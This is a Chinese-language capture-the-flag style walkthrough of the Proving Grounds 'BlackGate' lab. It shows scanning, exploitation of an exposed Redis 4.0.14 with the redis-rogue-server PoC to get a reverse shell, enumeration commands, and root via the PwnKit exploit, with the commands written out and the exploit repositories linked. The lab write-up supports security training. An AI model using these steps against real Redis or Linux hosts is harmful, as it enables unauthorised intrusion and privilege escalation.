Proving Grounds Practice : BlackGate Walkthrough

 Proving Grounds Practice : BlackGate Walkthrough


Foothole (立足點 ) :

  • 6379 Port 發現 Redis,使用 PoC 建立 Reverse Shell 進入系統

PE ( 提權 ) :

  • linpeas.sh 後發現 [CVE-2021-4034] PwnKit,執行後獲得 Root

注意事項 :

  • 相當簡單的一題
  • Redis 標準利用
  • PwnKit 標準利用


第一步 Rustscan,└─$ rustscan -a 192.168.207.176 --scripts none --ulimit 5000 | tee rustscan

只有兩個 Port 22、6379


snmp closed,└─$ sudo nmap -sU -p 161 192.168.207.176 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,6379 192.168.207.176 | tee nmap

22/tcp   open  ssh     OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)

6379/tcp open  redis   Redis key-value store 4.0.14


只有兩個,排除 22 Port 直接朝向 6379 Redis

6379 Port 是 Redis 標準 Port,nmap 又顯示 Redis 那就直接下手

Redis 好用的入侵工具,參考 https://github.com/n0b0dyCN/redis-rogue-server

可以參考前一篇 : https://your-it-note.blogspot.com/2024/03/proving-grounds-practice-wombo.html

先將 exp.so、redis-rogue-server.py 下載到同一個路徑




先帶入 -h 看一下參數,預設就帶 6379 Port 與使用 exp.so 檔案



PoC 也有使用範例



直接 PoC 下去,└─$ ./redis-rogue-server.py --rhost 192.168.207.176 --lhost 192.168.45.160

看來直接進去了,但使用 Interactive shell 下指令會跳錯誤



這一次改用 Reverse Shell 的方式



Reverse shell 進來了



開始 PE,cat /etc/passwd,看來只有這個使用者與 root 而已



cat /etc/crontab,沒看到特殊的 Cron Job



pspy64 跑一下看看有無特殊背景工作



看起來是沒有



sudo -l,只有一個確認 Redis 的 status,輸入後需要 Key




看看 redis 的設定檔,cat /etc/redis/redis.conf



發現疑似密碼的字串 : foobared





再跑一次輸入密碼看看,結果一樣驗證失敗



輸入簡易的幾組密碼測試,結果也是驗證失敗



env,沒有可利用的資訊



cat .bashrc

沒有可利用的資訊



查看 Listen 的服務 netstat -antlp

沒有其他特殊服務



可寫入的目錄 find / -writable -type d 2>/dev/null

沒發現可寫入特殊的目錄



查看 s 權限指令,find / -perm -u=s -type f 2>/dev/null

沒發現 SUID 可利用的指令



執行 linpeas.sh

看到兩個熟悉的漏洞 PwnKit & DirtyPipe



先試試看第一個,直接去下載 PwnKit,參考 https://github.com/ly4k/PwnKit



執行後就 root 了,這麼簡單......



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)